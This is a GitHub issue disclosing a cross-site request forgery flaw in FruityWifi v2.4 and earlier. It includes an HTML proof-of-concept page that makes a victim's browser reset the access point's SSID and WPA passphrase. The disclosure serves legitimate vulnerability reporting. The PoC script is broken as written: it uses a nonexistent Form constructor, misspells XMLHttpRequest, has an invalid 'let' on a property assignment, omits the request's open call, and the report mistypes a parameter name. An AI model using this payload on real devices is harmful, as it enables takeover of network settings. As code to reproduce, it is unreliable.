New issue

Jump to bottom

Cross-Site Request Forgery in FruityWifi <=v2.4 #277

Open harsh-bothra opened this issue on Oct 2, 2020 · 0 comments

harsh-bothra commented on Oct 2, 2020

Vulnerability Description

During the analysis of the product, it was observed that FruityWifi <=v2.4 is vulnerable to Cross-Site Request Forgery (CSRF) due to lack of CSRF protection in the `page_config_adv.php` endpoint. This allows an unauthenticated attacker to lure the victim to visit a website containing a CSRF Page resulting in the change of `newSSID` and `hostapd_wpa_passphrase` value as per the attacker's choice.

Steps to Reproduce

1. Generate an HTML Proof of Concept with the below content.

```
<html>
<head>
<script>
        let url = "http://fruitywifi_ip:port/page_config_adv.php";
        let form = new Form();
        form.append("hostapd","0");
        form.append("newSSID","hack");
        form.append("hostapd_wpa_passphrase","hack");

        let xhr = new XMlHttpRequest();
        let xhr.WithCredentials = true;
        xhr.send(form);

</script>
</head>
  <body>
  <h1>Hi Man</h1>
  </body>
</html>
```

2. Once the victim will open this HTML file, a CSRF request will be triggered to the legitimate server allowing the change of `newSSIF` and `hostapd_wpa_passphrase` .

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant